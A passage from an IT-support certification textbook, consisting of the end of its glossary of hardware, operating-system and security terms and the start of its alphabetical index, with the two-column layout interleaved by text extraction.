the configuration to be reverted to a
Structured Query Language injection
restore point.
(SQL injection) Attack that injects a
database query into the input data system settings Windows Settings
directed at a server by accessing the pages relating to basic and advanced
client side of the application. system settings.
su/sudo commands Linux commands tailgating Social engineering technique
allowing a user to use the root account to gain access to a building by following
or execute commands restricted to someone who is unaware of their
privileged users. presence.
surge suppressor A simple device task manager (taskmgr.exe) Windows
intended to protect electrical devices utility used to monitor and manage
against the damaging effects of a power process execution, resource utilization,
spike. user sessions, startup settings, and
service configuration.
swipe Mobile gesture that unlocks the
screen without requiring authentication. task scheduler Enables execution of an
action (such as running a program or a
symbolic mode Syntax for setting Linux
script) automatically at a pre-set time or
permissions that uses characters to
in response to some sort of trigger.
represent permissions values.
Temporal Key Integrity Protocol
symmetric encryption Two-way
(TKIP) Mechanism used in the first
encryption scheme in which encryption
version of WPA to improve the security
and decryption are both performed by
of wireless encryption mechanisms,
the same key. Also known as shared-key
compared to the flawed WEP standard.
encryption.
terminal Software that implements
synthetic full backup Job type that
input and output for a command shell.
combines incremental backup jobs to
synthesize a full backup job. Synthetic Terminal Access Controller Access
full backups have the advantage of Control System Plus (TACACS+)
being easy to restore from while AAA protocol developed by Cisco
also being easy on bandwidth across that is often used to authenticate to
the network as only changes are administrator accounts for network
transmitted. appliance management.
system applet Control Panel applet This PC File system object representing
relating to basic system settings, such a Windows computer and the disk drives
as host name and network type, System installed to it.

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threat Potential for an entity to exercise a wall socket is insufficient to allow

vulnerability (that is, to breach security). the computer to function correctly.
Under-voltage events are long sags in
threat actor Person or entity
power output that are often caused by
responsible for an event that has been
overloaded or faulty grid distribution
identified as a security incident or as a
circuits or by a failure in the supply
risk.
route from electrical power station to a
ticketing system Database software building.
designed to implement a structured
unified endpoint management (UEM)
support process by identifying each
Enterprise software for controlling
case with a unique job ticket ID and
device settings, apps, and corporate
with descriptive fields to record how the
data storage on all types of fixed,
issue was resolved.
mobile, and IoT computing devices.
Time & Language settings Windows
uninterruptible power supply (UPS)
Settings pages allowing configuration
Battery-powered device that supplies AC
of default data formats (date, currency,
power that an electronic device can use
and so on), location information, and
in the event of power failure.
keyboard input locale.
Universal Plug-and-Play (UPnP)
time drift Situation where hosts on a
Protocol framework allowing network
network are not closely synchronized to
devices to autoconfigure services, such
the same date/time source.
as allowing a games console to request
Time Machine App facilitating backup appropriate settings from a firewall.
operations in macOS.
UNIX Systems UNIX is a family of more
top command Interactive Linux than 20 related operating systems that
command for monitoring process are produced by various companies. It
information. can run on a wide variety of platforms.
UNIX offers a multitude of file systems
traceroute/tracert command
in addition to its native system. UNIX
Diagnostic utilities that trace the route
remains widely deployed in enterprise
taken by a packet as it “hops” to the
data centers to run mission-critical
destination host on a remote network.
applications and infrastructure.
tracert is the Windows implementation,
while traceroute runs on Linux. unprotected system System where
one or more required security controls
Trojan Malicious software program
(antivirus or firewall, for example) are
hidden within an innocuous-seeming
missing or misconfigured.
piece of software. Usually, the Trojan is
used to try to compromise the security untrusted source Installer package
of the target computer. whose authenticity and integrity cannot
be verified.
trusted platform module (TPM)
Specification for secure hardware- Update & Security settings Windows
based storage of encryption keys, Settings pages related to configuring
hashed passwords, and other user- and automatic patching, deploying feature
platform-identification information. updates, and managing security
features.
trusted source Installer package that
can be verified by a digital signature or update limitation Product life cycle
cryptographic hash. and procurement consideration where
a device or product no longer receives a
unattended installation Deployment
full range of updates or support from its
method where installation choices are
vendor.
saved in an answer file or script so that
the setup program executes without upgrade path Earlier versions of an OS
manual intervention. that support an in-place upgrade to a
newer version, retaining settings, third-
under-voltage event When the
party apps, and user data files.
power that is supplied by the electrical

Glossary

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Glossary | 35

User Account Control (UAC) Windows whaling An email-based or web-based

feature designed to mitigate abuse of form of phishing that targets senior
administrative accounts by requiring executives or wealthy individuals.
explicit consent to use privileges.
Wi-Fi Protected Access (WPA)
User Accounts applet Control Panel Standards for authenticating and
app relating to user account creation encrypting access to Wi-Fi networks.
and maintenance.
Windows Windows started as version
variable Identifier for a value that can 3.1 for 16-bit computers. A workgroup
change during program execution. version provided rudimentary network
Variables are usually declared with a facilities. Windows NT 4 workstations and
particular data type. servers (introduced in 1993) provided
reliable 32-bit operation and secure
VBS Extension for the Visual Basic Script
network facilities, based around domains.
file format.
The Windows 9x clients (Windows 95,
video conferencing Software that 98, and Me) had far-lower reliability
allows users to configure virtual meeting and support only for workgroups but
rooms, with options for voice, video, were still hugely popular as home and
instant messaging, and screen-sharing. business machines. Windows 2000 and
Windows XP workstations married the
video surveillance Physical security
hardware flexibility and user interface of
control that uses cameras and recording
Windows 9x to the reliability and security
devices to visually monitor the activity in
of Windows NT, while the server versions
a certain area.
saw the introduction of Active Directory
vim Command-line text editor that for managing network objects. The
extends the original vi software. subsequent client releases of Windows
Vim uses a command mode for file (Vista/7/8/8.1) feature a substantially
operations and an insert mode for different interface (Aero) with 3D features
editing. as well as security improvements. The
Virtual Network Computing (VNC) latest client versions—Windows 10 and
Remote access tool and protocol. VNC is Windows 11—are designed for use with
the basis of macOS screen-sharing. touch-screen devices.

virtual private network (VPN) Secure Windows Defender Antivirus Security

tunnel created between two endpoints scanner installed and enabled by default
connected via an unsecure transport in Windows that provides protection
network (typically the Internet). against general malware types.

virus Malicious code inserted into an Windows Defender Firewall Built-in,

executable file image. The malicious host-based filtering of network
code is executed when the file is run connections.
and can deliver a payload, such as Windows edition Feature restrictions
attempting to infect other files. applied to Windows to distinguish
vishing Social engineering attack where different markets, pricing, and
the threat actor extracts information licensing models, such as home versus
while speaking over the phone or professional versus enterprise.
leveraging IP-based voice messaging Windows Hello Feature that supports
services (VoIP). passwordless sign-in for Windows.
visual basic script (VBScript) A Windows Recovery Environment
command shell and scripting language (WinRE) Windows troubleshooting
built on the .NET Framework, which feature that installs a command shell
allows the administrator to automate environment to a recovery partition to
and manage computing tasks. remediate boot issues.
vulnerability Weakness that could Windows Security Touch-enabled app
be triggered accidentally or exploited for configuring features such as firewall
intentionally to cause a security breach. and antivirus.

Glossary

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 36 | Glossary

Windows Settings Touch-enabled worm Type of malware that replicates

interface for managing user and system between processes in system memory
settings in Windows. and can spread over client/server
network connections.
winver command Command-line
tool for reporting Windows version xcopy command Command-line
information. directory and file copy utility offering
improved functionality compared to the
WinX menu Start button shortcut
basic copy command.
menu with quick access to principal
configuration and management utilities. yum Package manager for installing,
maintaining, inventorying, and removing
wireless wide area network (WWAN)
software from the Red Hat family of
Network covering a large area using
Linux distributions.
wireless technologies, such as a cellular
radio data network or line-of-sight zero-day Vulnerability in software that is
microwave transmission. unpatched by the developer or an attack
that exploits such a vulnerability.
workgroup Group of network hosts
that shares resources in a peer-to-peer
fashion. No one computer provides a
centralized directory.

Glossary

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index
Page numbers with Italics represent charts, graphs, and diagrams.

A Reset Password, 584 Advanced RISC Machines

timeout/screen lock, (ARM), 73, 77
AAA server, 206 583–584, 584 advanced settings, Windows,
About page, Windows, 348, account settings, Windows, 348–349
348–349, 415, 415 338–339 advanced sharing settings,
About tab, printer, 301 Microsoft account, 339 Windows, 357
AC (alternating current), 44 User Accounts applet, 339, Advanced Technology
AC adapters, 275–276, 276, 283 339 eXtended (ATX), 24
accelerometers, 246 account setup, mobile device, AHCI (advanced host controller
acceptable use policy (AUP), 694 263, 264 interface), 54
access control entry (ACE), Active Directory (AD), Windows, AirDrop, 637, 654
Windows, 497 485 airplane mode, 249, 250
access control list (ACL), active listening, 702, 702 alarms, 576
Windows, 168, 477 active TAP, 140 all-in-one units, 2
access control vestibules, 573 adapter cables, 39 alternating current (AC), 44
Access Denied error message, adapter cards, upgrading, ALU (arithmetic logic unit), 72
Windows, 498 278–279, 279 AMD (Advanced Micro Devices),
Accessibility, macOS, 527, 527 adapter connectors, 22–24 73, 74, 76, 76, 77
accessories, mobile device, PCI, 22, 23, 24 AMD-V, 74, 231
247–248 PCIe, 22, 22–23 amperage, 714
camera/webcam, 248 adapter issues, cable and Android apps, 262, 262
drawing pad, 247 network, 218–219 Android OS, 406, 406
gesture support, calibrate ad blockers, 601 antenna connector/placement,
to the screen area, and addressable memory, 65 Wi-Fi, 250
adjust sensitivity, 248 address classes, 175, 175 anti-ESD precautions, 55, 68, 75
microphone, 248 address pathway, 66, 66 antistatic bags, 713
speakers, 248 address (A) record, 193, 193, antivirus
touchpads, 247, 247 204 apps, mobile OS, 622, 623
touch pens, 248 address (AAAA) record, 193, Linux, 519
trackpads, 247 193, 204 macOS, 532
access points (APs), 122, 122, Administrative Command rogue, 608
145, 146 Prompt, Windows, 391, scan, 607
access time, 55–56 391–392 software, 444, 612, 612–613
account management, Administrative Tools, Windows, Windows Defender
workstation, 582–583 357–359, 358, 445 Antivirus, 586–587, 587
default administrator ads, high number of in mobile antivirus/antimalware
account and password, OS, 641 solutions, 213
582–583 Advanced Boot Option, APK sideloading, 640
guest account, 583 Windows, 440 Apple File System (APFS), 408
user permissions, 582 Advanced Encryption Standard Apple ID, 263, 264, 528, 528,
account policies, workstation, (AES), 556 530
583–584, 584 advanced host controller Apple iOS, 405, 405
concurrent logins, 583 interface (AHCI), 54 Apple iPadOS, 405
failed attempts lockout, 583 Advanced Micro Devices (AMD), Apple macOS, 402–403, 403
login times, 583 73, 74, 76, 76, 77

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-2 | Index

application and driver support/ dedicated graphics card support documentation,

backward compatibility, requirements, 428–429, 692
420–421 429 warranty and licensing, 691
application crashes, 110 desktop apps, 355 asset identification and
application layer, 171 distribution methods, inventory, 690–691
application programming 430, 430–431 asset tags and IDs, 690
interface (API), 239, 678–679 external hardware token database systems, 690, 690
applications requirements, 429 network topology diagram,
browser security, 595 Gaming settings, 356 691
crashes, browser, 607 impact to business, 431 asset tags and IDs, 690
installation of, 679 impact to device and to asymmetrical DSL (ADSL), 162
macOS, 531–532 network, 432 asymmetric encryption cipher,
antivirus, 532 impact to operation, 552
App Store, 531, 531 431–432 attire, 700, 700
app updates, 532–533, installable software, ATX (Advanced Technology
533 354–355 eXtended), 24
corporate restrictions, install and configure, audio issues, 116
532 428–433 audio jack, 29
crashes, macOS, 536, licensing, 431 audio ports, 4, 27, 27
537 Mail applet, 356, 356 audit logs, 306
download apps, 531 OS requirements for, audit success/failure event,
installation from the 429–430 Windows, 379
App Store, 531, 531 permissions, 340 authentication
installation of download Programs and Features, remote access technologies,
apps, 531 356 652
Keychain Access app, RAM requirements, 428 Windows, 481–483
529 Settings app, 355, authenticator
uninstallation process, 355–356 application, 482
531 storage requirements, hard token, 483
mobile OS 428 multifactor
antivirus/anti-malware store apps, 354 authentication, 481
apps, 622, 623 support, 431 soft token, 482
app security, system requirements 2-step verification, 482
troubleshoot, 639–644 for, 428–429 authentication, authorization,
app software, training, 431 and accounting (AAA), 206, 207,
troubleshoot, 631–638 uninstalling, 355 559
app source security Windows Features, 354 authenticator application,
concerns, 640–641 WSL, 355 Windows, 482
bootleg app stores, 641 Applications and Services Logs, autodiscover, 266
enterprise apps, 640– Windows, 379 automated backups, 680
641, 641 application virtualization, 230 automatic private IP
issues, 635, 635–636 App Store, Apple’s, 261, 262, addressing (APIPA), 177
locator apps, 626–627, 531, 531 AutoPlay, workstation, 585, 585
627 apt-get command, Linux, 518 autorotate, mobile OS, 634, 634
remote backup apps, arithmetic logic unit (ALU), 72 autorun.inf, workstation, 585
625–626, 626 ARM (Advanced RISC Average Queue Length,
unexpected application Machines), 73, 77 Windows, 385
behavior, 642 ARM CPU architecture, 73, 77
Windows, 354–355 asset disposal, 716 B
CPU requirements, 428 asset documentation, 691–692
backdoors, 604
crashes, 446 assigned users, 691
backup and recovery, 656–662
KB articles, 692

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-3

automated backups, 680 best practices documentation, Windows, 441–442

backup media 686–696 graphical interface fails
requirements, 659–660 asset documentation, to load/black screen,
GFS, 659 691–692 442
incremental backups, asset identification and Invalid boot disk, 441
659 inventory, 690–691 No boot device found,
online vs. offline change approval, 693–694 441
backups, 660 change management no OS found, 441–442
on site backup storage, concepts, 692–693 bootleg app stores, 641
659–660 policy documentation, 694 boot methods, Windows,
3-2-1 backup rule, 660 SOP, 686 422–424, 423
backup methods, 657–659 ticketing system, 687, internal hard drive
backup chains, 658, 658 687–688 (partition), 424
factors governing, ticket management, Internet-based boot, 424
657–658 688–689 network boot, 424
retention, 657–658 binary data storage, 5, 5 optical media, 423
synthetic backup, 659 biometric authentication, 271 USB and external drives
backup operations, 656–657, biometric door locks, 574–575 and flash drives, 423
657 biometric security boot options, 92, 92–94, 93, 94
backup testing and components, 281 fan considerations, 94
recovery best practices, BIOS (Basic Input/Output fixed disk (HDD or SSD), 93
660–661, 661 System), 90–92, 91, 92 network/PXE, 93
Linux commands, 522 bite (b), 5 optical drive (CD/DVD/
Windows backup files, 421 BitLocker, 414, 591, 591–592, Blu-ray), 93
Backup and Restore applet, 592 USB, 93, 94
Windows, 440 BitLocker To Go, 591, 591–592, boot passwords, 94–95, 95
backup chains, 658, 658 592 boot process, Windows,
badge reader, 574 B keyed SATA interface SSDs, 434–435
badging, 306 55 boot recovery tools, Windows,
bad sectors, 103 black screen, 100, 442 435–437
bandwidth for video cables, blanking plate, 4 Advanced Boot Options,
determining, 9 blue screen of death (BSoD), 435–436, 435–436, 437
bare metal virtual platform, 102, 102, 103, 444, 445 WinRE and Startup Repair,
229, 229 Bluetooth, 154, 154 436
Basic Input/Output System enabling, 255, 255 boot sector issues, 101–102
(BIOS), 90–92, 91, 92, 581 mobile device, 255–256 boot sector viruses, 603
Basic Service Set (BSS), 145 pairing, 256, 256 Boot tab, Windows, 388,
Basic Service Set Identifier test connection, 256 388
(BSSID), 145 Blu-ray Discs (BDs), 62–63, 93 botnet, 548, 548
batch files, Windows, 676, 677 B/M keyed 2-lane PCIe SSDs, 55 bottleneck, 112
battery backups, 714–715 bootable device not found, 103 branches, 674
battery disposal, 716 Boot Configuration Data (BCD), bring your own device (BYOD),
battery power, laptop, 276, 388, 434 544, 623
276–277, 277 “Boot device not found” error, broadband router, 121
battery replacement, laptop, 101–102 broken screen issues, 287
275–277 boot issues, 101–102, 102 browser security, 594–602
AC adapters, 275–276, 276 blue screen of death, 102, ad blockers, 601
battery power, 276, 276–277, 102 apps, 595
277 boot sector issues, 101–102 browser selection and
BDs (Blu-ray Discs), 62–63 macOS, 536–537 installation, 594–595
bed/build surface, 322 OS errors and crash browser settings, 596–597
beep code, 100, 100–101 screens, 102, 102 browser sign-in, 597

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-4 | Index

clearing cache and C GSM, 251

browsing data options, 601 indicators, 251
Cable Access TV (CATV), 143,
crashes due to mishandling LTE, 251
163
of resources, 681 cellular radio internet
cable and network adapter
data synchronization, 597, connections, 166–167
issues, 218–219
597 3G, 166
cable length, 8
default search provider, 4G, 166
cable modems, 143, 163, 164
595 5G, 167
cable modem termination
extensions, 595 central processing unit (CPU),
system (CMTS), 163
password manager, 597 2, 17–18, 18, 72–78
cable stripper, 136–137, 137
plug-ins, 595–596 architecture, 72–73
cable tester, 138, 139
pop-up blockers, 600 ARM CPU architecture,
cable types, 2–16
privacy settings, 600, 73, 77
eSATA, 14
600–601 operations performed
Lightning, 12, 12
private/incognito browsing by, 72
Molex connector, 14, 14
mode, 601 x64 CPU architecture, 73
peripheral devices, 4, 4–5, 5
secure connections and x86 CPU architecture, 73
personal computers, 2–4, 3
valid certificates, 598, basic operations performed
SATA, 13, 13
598–599, 599 by, 72
Thunderbolt, 11–12, 12, 28
sign-in, 597 CMP, 74
USB cables, 5–8, 6, 7, 8
themes, 586, 595–596 EPT, 74
video cables, 9–11
trusted sources, 594 extensions to support
cabling issues, physical, 114
untrusted sources, 595 virtualization, 74
cache, 57, 65, 72, 73, 74, 77
browser symptoms, features, 74
clearing, 601
troubleshoot, 608–609 monitoring, Windows, 381
Windows, 381
certificate warnings, 609, motherboard compatibility,
caddy, 52, 54, 62
609 76–77
calibration, 314
redirection, 608 CPU socket, 76
printer, 314
brute force (password cracker), desktop, 77
to the screen area, 248
550 mobiles, 77
camera/webcam, 248
BSOD (blue screen of death), servers, 77
capacitor swelling, 111
102, 102, 103 workstations, 77
capture cards, 29
building codes, 707 multicore CPU, 74
carriage system, 315, 316
building power issues and removing, 76
case sensitivity, Linux, 510
mitigations, 713–715 single-core CPU, 74
cat command, Linux, 512
amperage, 714 SLAT, 74
Cat standards, 135, 135
battery backups, 714–715 sockets, 20, 20
cd command
clamping voltage, 714 socket types, 75, 75–76, 76
Linux, 512
joules rating, 714 in virtualization, 231
Windows, 393, 393
power failure, 714 Central Processing Unit (CPU)
CD-R (recordable compact
surges, 713 throttling, 444
discs), 62
surge suppressors, 714 Windows applications, 428
CD-RW (rewritable compact
under-voltage event, 714 Certificate Manager console
discs), 62
UPS, 714–715, 715 (certmgr.msc), Windows, 372,
CDs (Compact Discs), 62–63, 93
burned-out bulb issues, 114, 372–373
cell phone (smartphone)/tablet
114–115 certificates, 203
OS, 402
burn-in, 115–116 of destruction, 670
cellular data networking,
burning smell, 110 valid, browser, 598,
250–252
“bursty” data transfer, 221 598–599, 599
CDMA, 251
business client OS, 402 warnings, browser, 609, 609
enabling and disabling
bus speed, 67, 68 certification authority (CA), 203,
cellular data, 252, 252
byte (B), 5 372, 372–373

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-5

chain of custody, 668 Obtain an IP address command-line tools, Windows,

Change Advisory Board (CAB), automatically, 457 391–399
693 client-side virtualization, 229–230 Command Prompt, 391–392
change approval, 693–694 clock speed, 67, 69, 70, 72, 79 disk management
CAB approvals, 693 closed-circuit television (CCTV), commands, 395–396
end-user acceptance, 694 143 file management
risk analysis, 693 closed-loop cooling system, 50 commands, 394
test and implement the closed questions, 702–703 navigation commands,
change plan, 693–694 cloud, 235–240 392–394
change management concepts, characteristics, 235–236 system management
692–693 high availability (HA), commands, 396–398
change requests, 692–693 235 Command Prompt, Windows,
configuration management rapid elasticity, 236 391–392
model, 692 scalability, 235 Administrative Command
ITIL, 692 definition of, 235 Prompt, 391, 391–392
change plan, test and deployment models, 236 Command Syntax, 392
implement, 693–694 desktop virtualization, 238 help system, 392
change requests, 692–693 file storage, 238–239 Command Syntax, Windows,
changes guidelines for supporting, 392
environmental or 241 comma separated values (CSV),
infrastructure, 83 scan to, 307 264
to the system, 83 SDN, 239, 239 comments, 673
changing channels, 566 service models, 236–237 commercial provider email
channel bonding, 148, 148 IaaS, 236, 237 configuration, 266, 266
charging stage, 310 PaaS, 237, 237 committed, Windows, 381
checksum, 70 SaaS, 237 Common Internet File System
chip level multiprocessing cmd.exe shell, Windows, 391 (CIFS), 187, 200
(CMP), 74 CMOS battery, 113 communications at the
chkdsk command, Windows, CMP (chip level transport layer, 183, 183–184
396 multiprocessing), 74 communications interface, 54
chmod command, Linux, 517, coaxial (coax) cable, 143, 143 Communications (COM) port,
517 Code Division Multiple Access 38
choose your own device (CDMA), 166, 251 communication techniques,
(CYOD), 623 coin cell battery, 113, 113 697–706
chown command, Linux, 517 collision domain, 127–128, 129 confidential and private
Chrome OS, 404–405 color materials, 699
circuit-based alarm, 576 calibration (or workflow), difficult situations, 704–705
CISC (complex instruction set 116, 116 distractions, 699
computing), 73 display, incorrect, 116, 116 professional appearance,
clamping voltage, 714 Windows, 352 700–701
clarifying and questioning color-coding RAM, 69–70 professional
techniques, 702–703 color laser printers, 312 communication, 702–703
cleaning stage, 311 color printing, 299 professional support
cleaning the printer, 313–314 Color tab, printer, 302 delivery, 699
clean install, Windows, 420 command and control (C2 or professional support
clicking sound, 103 C&C), 604 processes, 697–698
client configuration, Windows, command interface, Linux, community deployment model,
457–458, 458 510–511 236
IP, 457, 458 case sensitivity, 510 Compact Discs (CDs), 62–63
Link-layer Topology file editors, 510–511 compatibility issues, operating
Discovery, 457 help system, 510 system, 408–410

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-6 | Index

hardware compatibility and internet connection content filters, 214, 567, 567
update limitations, 408–409, types, 160–169 control and digital content
409 network configuration protection (HDCP), 9
network compatibility, 409 concepts, 189–197 Control Panel, Windows, 338,
software compatibility, 409 protocols and ports, 338
user training and support, 183–188 cooling systems, 48–49
409–410 TCP/IP, 170–182 fan, 48–49
complementary metal-oxide printers, 300, 300 liquid-based, 49, 49–50
semiconductor (CMOS) battery, utilities, Windows, 357 other components
113 connectionless requiring, 48
complex instruction set communication, 185 passive (fanless) cooling, 73
computing (CISC), 73 “connection-oriented” protocol, copper cabling
component handling, proper, 184 Cat standards, 135, 135
712, 712, 713 connectivity issues, mobile OS, connectors, 135, 135–136
component issues, 110–112 288–289, 289, 636–637 RJ11 connectors, 136
application crashes, 110 connectors, 2–16, 4, 4–5 RJ45 connectors, 126,
burning smell, 110 adapter, 22–24 127, 135, 135–136
capacitor swelling, 111 eSATA, 14 direct burial, 141
intermittent shutdowns, guidelines for installing and installation considerations,
110 configuring, 42 141
overheating, 110–111 Lightning, 12, 12 installation tools, 136–138
physical damage, 111–112 Molex connector, 14, 14 cable stripper, 136–137,
component storage, 713 peripheral devices, 4, 4–5, 5 137
COM (Communications) port, personal computers, 2–4, 3 crimper, 138, 138
38 SATA, 13, 13 punchdown tool, 137,
computer-aided design (CAD), storage, 21–22 137
28 Thunderbolt, 11–12, 12, 28 snips, 137
Computer Security Incident types, 20, 20 labeling system, 127
Response Team (CSIRT), USB cables, 5–8, 6, 7, 8 for network, 133
666–667 video cables, 9–11 plenum space, 141
confidential and private console switching, Linux, 509 shielded twisted pair (STP),
materials, 699 consumables, 309–324 134, 134
confidentiality, integrity, and carriage system, 315, 316 standard (10GBASE-T), 120,
availability (CIA triad), 542 impact printer 127, 135
configuration. see also maintenance, 320–321 test tools, 138–140
installing and configuring inkjet printer imaging cable tester, 138, 139
issues process, 314–315, 315 loopback plug, 139,
mobile OS, 637 inkjet printer maintenance, 140
wireless, 220 316–318 tone generator, 139
management model, 692 laser printer imaging toner probe, 139
mobile devices, 261–273 process, 309–312 unshielded twisted pair
account setup, 263, 264 laser printer maintenance, (UTP), 133, 133
email, 265–267 312–314 corporate and ISP email
mobile apps, 261–263 thermal printer configuration, 266–267, 267
mobile device maintenance, 318–319 corporate applications, 270
synchronization (sync), 3-D printer maintenance, corporate mail gateway, 267
264–269 321–323 corporate owned, business
network addressing and containerization, 230 only (COBO), 623
internet connections container virtualization, 230, corporate owned, personally
guidelines for installing 231 enabled (COPE), 623
and configuring SOHO content delivery networks corporate policies and
networks, 198 (CDNs), 238 procedures, 86

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-7

corporate restrictions, macOS, EULA, 665 Default Log Files, Windows,

532 incident response, 666–667 378–379
counter logs, Windows, 385 license compliance default search provider, 595
Counter Mode with Cipher monitoring, 665–666 default subnet masks, 175, 175
Block Chaining Message open-source licenses, 666 default VLAN, 195
Authentication Code Protocol prohibited content, 665 Defragment and Optimize
(CCMP), 556 regulated data Drives (dfrgui.exe), Windows,
cp command, Linux, 514 classification, 663–664 359
CPU. see central processing data integrity and preservation, defragment the hard drive,
unit (CPU) 667–668 Windows, 443
crash screens, 102, 102 chain of custody, 668 degaussing, 670
credit card transactions, 664 digital forensics, 667 demilitarized zone (DMZ), 570
crimper, 138, 138 documentation of incident denial of service (DoS) attack,
critical event, Windows, 379 and recovery of evidence, 548
crontab editor, Linux, 522 667–668, 668 deployment models, cloud, 236
crontab jobs, Linux, 522 data leak/loss prevention (DLP) desktop alerts and
cross-platform virtualization, systems, 214 notifications, browser, 608
230 data loss/corruption, 105 desktop apps, Windows, 355
cross-site scripting (XSS) attack, data options, browser, 601 desktop as a service (DaaS),
550–551 data or disk transfer rate, 56 238
Crypto Erase, 669 Data Over Cable Service desktop CPU, 77
cryptographic hashes, 552 Interface Specification desktop environments, Linux,
cryptographic keys, 95 (DOCSIS), 163 509, 509
Cryptolocker, 606 data pathway, 66 desktop management, remote
cryptominers, 607 data retention requirements, access technologies, 653
crypto-ransomware, 606–607 664 desktop settings, Windows,
cultural sensitivity, 701 data source, appropriate, 113 341, 341
cursor drift/touch calibration data synchronization, browser, desktop styles, Windows, 413
issues, 288 597, 597 desktop symptoms,
cyan, magenta, yellow, and DB-9 (9-pin D-subminiature) troubleshoot, 607–608
black (CMYK) inks, 299 female port, 38 application crashes, 607
cybersecurity, 542 DC (direct current), 44 desktop alerts and
DDR3, 67, 67 notifications, 608
D DDR4, 67, 67, 68 file system errors and
DDR5, 67, 67, 68, 70 anomalies, 608
data-at-rest, 589
DDR generation, 67 performance symptoms,
database systems, 690, 690
DDR SDRAM (Double Data Rate 607
data caps, 268
SDRAM), 66–67, 67, 67–68 service problems, 607
datacenters, 122–123
DDRx memory, 69 desktop virtualization, 238
data collection, Windows, 340
DDRx SDRAM, 277 Details tab, Windows, 380
Data Collector Sets, Windows,
dead pixels, 115 developer mode, mobile OS,
385
decimal notation, 172, 172 640
data destruction methods, 669
decode, 72, 73 developer roller, 310
data handling best practices,
dedicated graphics card developing stage, 310
663–671
requirements, Windows, device driver, 73
data destruction methods,
428–429, 429 device encryption, mobile OS,
669
default administrator account, 624, 625
data integrity and
workstation, 582–583 Device Manager (devmgmt.
preservation, 667–668
default gateway, 174 msc), Windows, 352, 364–366
disposal and recycling
default gateway parameter, to revert to the previous
outsourcing concepts, 670
176 driver, 439
DRM, 666

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-8 | Index

Devices and Printers applet, directory, Windows repartitioning, 368

Windows, 351, 351 changing, 393, 393 Task Scheduler, 369,
device settings copying, 394 370–371, 371
macOS, 534–535 creating, 394 disk monitoring, Windows, 382
Disk Utility, 534, 534–535 listing, 392–393 diskpart command, Windows,
optical drives, 535 removing, 394 395, 395–396
Printers & Scanners, 534 directory and authentication disk thrashing, 103
Remote Disc, 535 servers, 206–207 disk upgrades and
Windows, 350–352, 351 AAA server, 206, 207 replacement, 279–280
Device Manager, 352 LDAP, 206 migration, 279
Devices and Printers, directory path, Windows, 392 replacement, 279–280,
351, 351 directory structure, Windows, 280
phone settings, 351 344 Disk Utility, macOS, 534,
System settings pages, Disabled startup, Windows, 534–535
351 383 display components, mobile
device wipe, mobile OS, 627 disable guest access, 566 device, 246–247
df command, Linux, 515 disable startup items, digitizer functions, 246
DHCP. see Dynamic Host Windows, 444 rotating and removable
Configuration Protocol (DHCP) disc eject mechanism, 63 screens, 246–247
Diagnostic startup, Windows, Disconnect, Windows, 494 typical smartphone form
387, 387 Disk Cleanup (cleanmgr.exe), factor, 246
dialogue box, printer, 301, 302 Windows, 359 Display highly detailed status
dictionary (password cracker), disk configuration, Windows, messages, Windows, 442
550 424–425 DisplayPort, 10, 10–11, 28, 29
difficult situations, 704–705 drive format, 425, 425 displays
collaborate to focus on GPT-style partitioning, 425 macOS, 527
solutions, 704–705 MBR-style partitioning, mobile device, 244–245
maintain positive attitude, 424–425 LCD, 244–245
704 disk maintenance tools, LED backlit, 245
social media postings, 705 Windows, 368–370 OLED, 245
dig command, Linux, 521 capacity, 368 Windows, 352
digital certificate, 203 damage, 368 disposal, proper, 716
digital rights management Defragment and Optimize disposal and recycling
(DRM), 63, 666 Drives tool (dfrgui.exe), 369, outsourcing concepts, 670
digital signatures, 553 369 dissipative packaging, 713
digital subscriber line (DSL), Disk Clean-up (cleanmgr. distractions, 699
162 exe), 370, 370 distributed denial of service
modems, 162, 162, 163 fragmentation, 368 (DDoS) attacks, 548, 548, 604
splitter, 162, 163 disk management commands, distributions, Linux, 517–518
Digital Versatile Discs (DVDs), Windows, 395–396 distribution system (DS), 145
62–63 chkdsk command, 396 DMZ host, 570, 571
Digital Video Broadcast diskpart command, 395, docking stations, 258, 258–259
Satellite (DVB-S), 165 395–396 docks, macOS, 524
Digital Visual Interface (DVI), 4, format command, 396 document, 87–88
34–35, 35 Disk Management (diskmgmt. Domain-Based Message
digitizer functions, 246 msc) console, Windows, Authentication, Reporting, and
digitizer issues, 287 366–368, 367 Conformance (DMARC), 194,
DIMM (dual inline memory configuring dynamic disks, 214
module), 21, 67–70, 68, 69 368 domain controllers, Windows,
dir command, Windows, 392 formatting, 368 485
direct burial, 141 initializing disks, 367 DomainKeys Identified Mail
direct current (DC), 44 partitioning, 368 (DKIM), 194, 214

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-9

Domain Name System (DNS), drivers, third-party, Windows, electrical safety, 19, 707–709
186, 191–194, 192 421 equipment grounding, 708,
hierarchy, 192 Drivers tab, Windows, 364 708–709
IPv4 addresses, 176 drives, Windows, 344, 394 fire, 709
queries, 192, 193 DRM (digital rights fuses, 708
resource records, 193, management), 63 proper power handling and
193–194 dual-channel memory, 69, personal safety, 709
spam management 69–70 electromagnetic interference
records, 194 dual inline memory module (EMI), 287
domain setup, Windows, (DIMM), 21, 67–70, 68, 69 electronic door locks, 574
499–500, 500, 501 dual stack, 181 electrostatic discharge (ESD),
door locks, 574, 574–575 du command, Linux, 515 19, 19, 55, 68, 75, 711–713
dot matrix print defects, 328 dumpster diving, 545 component handling,
dotted decimal notation, 172, duplexing assembly, 312, 316 proper, 712, 712, 713
172 duplex printing, 312 component storage, 713
Double Data Rate (GDDR), 28 duplex unit, 300 email, 204, 204
Double Data Rate SDRAM (DDR duress alarms, 576 scan to, 307
SDRAM), 67, 67–68 dust build up, 49 Windows, 339
